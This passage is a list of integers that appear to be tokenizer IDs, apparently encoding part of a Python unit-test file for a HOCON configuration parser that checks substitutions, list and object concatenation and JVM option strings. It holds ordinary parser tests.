13,
18884,
500,
13,
18884,
270,
353,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
13,
18884,
285,
353,
6435,
29874,
29889,
29890,
29889,
29872,
29913,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29896,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
525,
710,
29915,
13,
4706,
4974,
2295,
29896,
29889,
657,
877,
29881,
1495,
1275,
525,
710,
29915,
13,
4706,
4974,
2295,
29896,
29889,
657,
877,
29888,
1495,
1275,
525,
710,
418,
525,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
851,
13,
462,
4706,
321,
353,
376,
710,
418,
376,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
270,
353,
1243,
29871,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
13,
18884,
285,
353,
1243,
29871,
6435,
29874,
29889,
29890,
29889,
29872,
29913,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
525,
710,
29915,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
29881,
1495,
1275,
525,
1688,
29871,
851,
29915,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
29888,
1495,
1275,
525,
1688,
29871,
851,
418,
525,
13,
13,
4706,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
318,
15945,
29908,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
851,
13,
462,
4706,
321,
353,
376,
710,
418,
376,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
270,
353,
1243,
29871,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
29871,
592,
13,
18884,
285,
353,
1243,
29871,
6435,
29874,
29889,
29890,
29889,
29872,
29913,
29871,
592,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
525,
710,
29915,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
29881,
1495,
1275,
525,
1688,
29871,
851,
29871,
592,
29915,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
29888,
1495,
1275,
525,
1688,
29871,
851,
4706,
592,
29915,
13,
13,
1678,
822,
1243,
29918,
1807,
29918,
22492,
5008,
29879,
29918,
2541,
29918,
1217,
29918,
3493,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
623,
29889,
354,
481,
29918,
2311,
353,
29871,
29896,
29906,
29947,
13,
18884,
623,
29889,
1645,
29918,
25707,
353,
518,
13,
462,
1678,
448,
29990,
1516,
5303,
932,
29889,
354,
481,
29918,
2311,
29913,
29885,
13,
462,
1678,
448,
29990,
16838,
5303,
932,
29889,
354,
481,
29918,
2311,
29913,
29885,
13,
18884,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
932,
29889,
1645,
29918,
25707,
1495,
1275,
518,
13,
9651,
17411,
29990,
1516,
29896,
29906,
29947,
29885,
742,
13,
9651,
17411,
29990,
16838,
29896,
29906,
29947,
29885,
29915,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
524,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
29871,
29945,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
270,
353,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29896,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
29871,
29945,
13,
4706,
4974,
2295,
29896,
29889,
657,
877,
29881,
1495,
1275,
29871,
29945,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
29871,
29945,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
270,
353,
1243,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
29871,
29945,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
29881,
1495,
1275,
525,
1688,
29871,
29945,
29915,
13,
13,
4706,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
29871,
29945,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
270,
353,
1243,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
592,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
29871,
29945,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
29881,
1495,
1275,
525,
1688,
29871,
29945,
592,
29915,
13,
13,
1678,
822,
1243,
29918,
9398,
6332,
29918,
1807,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
6435,
29872,
29913,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
270,
353,
1243,
6435,
29874,
29889,
29890,
29889,
29883,
29913,
592,
13,
18884,
321,
353,
29871,
29955,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
29871,
29955,
13,
4706,
4974,
2295,
29889,
657,
877,
29881,
1495,
1275,
525,
1688,
29871,
29955,
592,
29915,
13,
13,
1678,
822,
1243,
29918,
20787,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
263,
353,
29871,
29945,
13,
18884,
289,
23339,
29874,
1042,
29912,
29874,
29913,
13,
18884,
274,
23339,
29874,
29913,
6435,
29874,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
29874,
2396,
29871,
29945,
29892,
13,
9651,
525,
29890,
2396,
525,
29945,
29945,
742,
13,
9651,
525,
29883,
2396,
525,
29945,
29871,
29945,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
8977,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
353,
29871,
29953,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
6435,
1272,
29899,
5064,
29899,
19206,
29913,
426,
978,
353,
376,
23027,
9092,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
19594,
29899,
2311,
1495,
1275,
29871,
29953,
13,
4706,
4974,
2295,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
978,
1495,
1275,
525,
23027,
29915,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
353,
29871,
29953,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
426,
978,
353,
376,
23027,
9092,
6435,
1272,
29899,
5064,
29899,
19206,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
19594,
29899,
2311,
1495,
1275,
29871,
29953,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
978,
1495,
1275,
525,
23027,
29915,
13,
13,
4706,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
353,
29871,
29953,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
426,
978,
353,
376,
23027,
9092,
6435,
1272,
29899,
5064,
29899,
19206,
29913,
426,
9867,
29899,
2311,
353,
29871,
29929,
29892,
29111,
353,
11663,
29990,
16838,
29946,
29887,
29908,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
19594,
29899,
2311,
1495,
1275,
29871,
29929,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
978,
1495,
1275,
525,
23027,
29915,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
25707,
1495,
1275,
17411,
29990,
16838,
29946,
29887,
29915,
13,
13,
4706,
2295,
29946,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
353,
29871,
29953,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
426,
978,
353,
376,
23027,
9092,
6435,
1272,
29899,
5064,
29899,
19206,
29913,
13,
18884,
848,
29899,
5064,
29899,
23027,
29899,
10633,
353,
6435,
1272,
29899,
5064,
29899,
23027,
29913,
426,
7050,
9170,
14327,
7050,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
19594,
29899,
2311,
1495,
1275,
29871,
29953,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29889,
978,
1495,
1275,
525,
23027,
29915,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29899,
10633,
29889,
19594,
29899,
2311,
1495,
1275,
29871,
29953,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
1272,
29899,
5064,
29899,
23027,
29899,
10633,
29889,
7050,
9170,
1495,
1275,
8207,
7050,
29915,
13,
13,
4706,
2295,
29945,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
353,
29871,
29953,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
6435,
1272,
29899,
5064,
29899,
19206,
29913,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
426,
1024,
353,
376,
23027,
29908,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29945,
1839,
1272,
29899,
5064,
29899,
23027,
2033,
1275,
426,
13,
9651,
525,
978,
2396,
525,
23027,
742,
13,
9651,
525,
19594,
29899,
2311,
2396,
29871,
29953,
13,
4706,
500,
13,
13,
4706,
2295,
29953,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
353,
29871,
29953,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
426,
1024,
353,
376,
23027,
29908,
500,
13,
18884,
848,
29899,
5064,
29899,
23027,
353,
6435,
1272,
29899,
5064,
29899,
19206,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29953,
1839,
1272,
29899,
5064,
29899,
23027,
2033,
1275,
426,
13,
9651,
525,
978,
2396,
525,
23027,
742,
13,
9651,
525,
19594,
29899,
2311,
2396,
29871,
29953,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
29881,
359,
29918,
305,
1503,
29918,
2541,
29918,
348,
339,
5715,
29918,
1807,
29918,
1217,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
5431,
353,
2594,
1159,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
525,
1646,
29915,
13,
13,
1678,
822,
1243,
29918,
29881,
359,
29918,
305,
1503,
29918,
2541,
29918,
339,
5715,
29918,
1807,
29918,
1217,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
877,
5431,
353,
376,
29945,
29908,
1495,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
525,
29945,
29915,
13,
13,
1678,
822,
1243,
29918,
29881,
359,
29918,
305,
1503,
29918,
2541,
29918,
3626,
552,
29918,
339,
5715,
29918,
1807,
29918,
1217,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
877,
5431,
353,
9995,
29945,
15945,
29908,
1495,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
525,
29945,
29915,
13,
13,
1678,
822,
1243,
29918,
29881,
359,
29918,
305,
1503,
29918,
2541,
29918,
524,
29918,
1217,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
5431,
353,
29871,
29945,
1159,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
29871,
29945,
13,
13,
1678,
822,
1243,
29918,
29881,
359,
29918,
305,
1503,
29918,
2541,
29918,
7411,
29918,
1217,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
5431,
353,
29871,
29945,
29889,
29900,
1159,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
29871,
29945,
29889,
29900,
13,
13,
1678,
822,
1243,
29918,
1761,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
518,
1961,
29892,
3017,
29962,
13,
18884,
3495,
29918,
7576,
353,
6435,
9435,
29918,
7576,
29913,
518,
1645,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
3069,
29918,
7576,
1495,
1275,
6024,
1961,
742,
525,
4691,
742,
525,
1645,
2033,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
518,
1961,
29892,
3017,
29962,
13,
18884,
3495,
29918,
7576,
353,
518,
1645,
29962,
6435,
9435,
29918,
7576,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29906,
29889,
657,
877,
3069,
29918,
7576,
1495,
1275,
6024,
1645,
742,
525,
1961,
742,
525,
4691,
2033,
13,
13,
4706,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
518,
1961,
29892,
3017,
29962,
13,
18884,
3495,
29918,
7576,
353,
518,
1645,
29962,
6435,
9435,
29918,
7576,
29913,
518,
22032,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
9435,
29918,
7576,
1495,
1275,
6024,
1961,
742,
525,
4691,
2033,
13,
4706,
4974,
2295,
29941,
29889,
657,
877,
3069,
29918,
7576,
1495,
1275,
6024,
1645,
742,
525,
1961,
742,
525,
4691,
742,
525,
22032,
2033,
13,
13,
4706,
2295,
29946,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
3619,
29918,
7576,
353,
518,
1961,
29892,
3017,
29962,
13,
18884,
3495,
29918,
7576,
353,
518,
1645,
29962,
6435,
9435,
29918,
7576,
29913,
518,
22032,
29962,
13,
18884,
2989,
29918,
7576,
353,
6435,
3069,
29918,
7576,
29913,
518,
29883,
29892,
748,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
9435,
29918,
7576,
1495,
1275,
6024,
1961,
742,
525,
4691,
2033,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
3069,
29918,
7576,
1495,
1275,
6024,
1645,
742,
525,
1961,
742,
525,
4691,
742,
525,
22032,
2033,
13,
4706,
4974,
2295,
29946,
29889,
657,
877,
8159,
29918,
7576,
1495,
1275,
6024,
1645,
742,
525,
1961,
742,
525,
4691,
742,
525,
22032,
742,
525,
29883,
742,
525,
1484,
2033,
13,
13,
1678,
822,
1243,
29918,
1761,
29918,
5029,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
18884,
1667,
29918,
11675,
353,
3989,
13,
18884,
10276,
353,
518,
1645,
29892,
6435,
3396,
29918,
11675,
6525,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
29880,
8737,
1495,
1275,
6024,
1645,
742,
525,
1961,
2033,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
1761,
29918,
2541,
29918,
4397,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2280,
29889,
5431,
353,
29871,
29896,
29906,
29947,
4317,
13,
9651,
2280,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
353,
6796,
29899,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
3108,
21069,
29990,
29885,
29896,
29953,
29887,
29892,
6435,
6214,
29889,
5431,
6525,
13,
9651,
2280,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
29906,
353,
21069,
29990,
29885,
29896,
29953,
29887,
29892,
6435,
6214,
29889,
5431,
6525,
6796,
29899,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
3108,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
3366,
6214,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
3108,
1275,
518,
13,
9651,
17411,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
742,
13,
9651,
17411,
29990,
29885,
29896,
29953,
29887,
742,
13,
9651,
525,
29896,
29906,
29947,
4317,
29915,
13,
4706,
4514,
13,
13,
4706,
4974,
2295,
3366,
6214,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
29906,
3108,
1275,
518,
13,
9651,
17411,
29990,
29885,
29896,
29953,
29887,
742,
13,
9651,
525,
29896,
29906,
29947,
4317,
742,
13,
9651,
17411,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
742,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
1761,
29918,
2541,
29918,
4397,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2280,
29889,
5431,
353,
29871,
29896,
29906,
29947,
4317,
13,
9651,
2280,
29889,
4381,
29899,
29926,
6925,
29899,
25707,
353,
6796,
29899,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
3108,
13,
9651,
2280,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
353,
6435,
6214,
29889,
4381,
29899,
29926,
6925,
29899,
25707,
29913,
21069,
29990,
29885,
29896,
29953,
29887,
29892,
6435,
6214,
29889,
5431,
6525,
13,
9651,
2280,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
29906,
353,
21069,
29990,
29885,
29896,
29953,
29887,
29892,
6435,
6214,
29889,
5431,
6525,
6435,
6214,
29889,
4381,
29899,
29926,
6925,
29899,
25707,
29913,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
3366,
6214,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
3108,
1275,
518,
13,
9651,
17411,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
742,
13,
9651,
17411,
29990,
29885,
29896,
29953,
29887,
742,
13,
9651,
525,
29896,
29906,
29947,
4317,
29915,
13,
4706,
4514,
13,
13,
4706,
4974,
2295,
3366,
6214,
29889,
16961,
29899,
29926,
6925,
29899,
25707,
29906,
3108,
1275,
518,
13,
9651,
17411,
29990,
29885,
29896,
29953,
29887,
742,
13,
9651,
525,
29896,
29906,
29947,
4317,
742,
13,
9651,
17411,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
29915,
13,
4706,
4514,
13,
13,
1678,
822,
1243,
29918,
5464,
29918,
735,
9696,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
6435,
5464,
29918,
735,
9696,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
25638,
6435,
5464,
29918,
735,
9696,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
6435,
5464,
29918,
735,
9696,
29913,
25638,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
25638,
6435,
5464,
29918,
735,
9696,
29913,
822,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
1678,
822,
1243,
29918,
5464,
29918,
23712,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
518,
22032,
29962,
13,
462,
1678,
3495,
29918,
7576,
353,
29871,
29945,
29945,
6435,
9435,
29918,
7576,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
518,
22032,
29962,
13,
462,
1678,
3495,
29918,
7576,
353,
6435,
9435,
29918,
7576,
29913,
29871,
29945,
29945,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
518,
22032,
29962,
13,
462,
1678,
3495,
29918,
7576,
353,
29099,
6435,
9435,
29918,
7576,
29913,
289,
29890,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
518,
22032,
29962,
13,
462,
1678,
3495,
29918,
7576,
353,
29099,
6435,
9435,
29918,
7576,
29913,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
518,
22032,
29962,
13,
462,
1678,
3495,
29918,
7576,
353,
6435,
9435,
29918,
7576,
29913,
29099,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
462,
1678,
3619,
29918,
7576,
353,
518,
22032,
29962,
13,
462,
1678,
3495,
29918,
7576,
353,
29099,
6435,
9435,
29918,
7576,
29913,
289,
29890,
13,
18884,
9995,
13,
9651,
1723,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29918,
2378,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
518,
29896,
29892,
29906,
29962,
13,
9651,
921,
353,
6435,
29916,
29913,
518,
29941,
29892,
29946,
29962,
13,
9651,
921,
353,
21069,
29896,
29892,
29871,
29900,
29962,
6435,
29916,
29913,
518,
29945,
29892,
29871,
29953,
29962,
13,
9651,
921,
353,
21069,
29941,
29892,
448,
29906,
29962,
6435,
29916,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
21069,
29941,
29892,
448,
29906,
29892,
448,
29896,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
4397,
29918,
2378,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
518,
29896,
29892,
29906,
29962,
13,
9651,
921,
4619,
518,
29941,
29892,
29946,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29962,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
4397,
29918,
1807,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
10575,
367,
7126,
304,
13,
4706,
921,
353,
25638,
13,
4706,
921,
353,
6435,
29973,
29916,
29913,
822,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
25638,
13,
9651,
921,
4619,
822,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
376,
10736,
822,
29908,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
4397,
29918,
5464,
29918,
735,
9696,
29918,
1807,
29898,
1311,
1125,
13,
4706,
14550,
13,
4706,
10575,
367,
7126,
304,
921,
353,
6435,
29973,
29916,
29913,
822,
13,
4706,
14550,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
4619,
822,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
376,
822,
29908,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
4397,
29918,
9290,
29916,
9696,
29918,
2378,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
4619,
518,
29896,
29892,
29906,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
518,
29896,
29892,
29871,
29906,
29962,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
4397,
29918,
3318,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
426,
29874,
29901,
29871,
29896,
29913,
13,
9651,
921,
4619,
426,
29890,
29901,
29871,
29906,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
703,
29916,
1159,
1275,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
29913,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
4397,
29918,
9290,
29916,
9696,
29918,
3318,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
4619,
426,
29874,
29901,
29871,
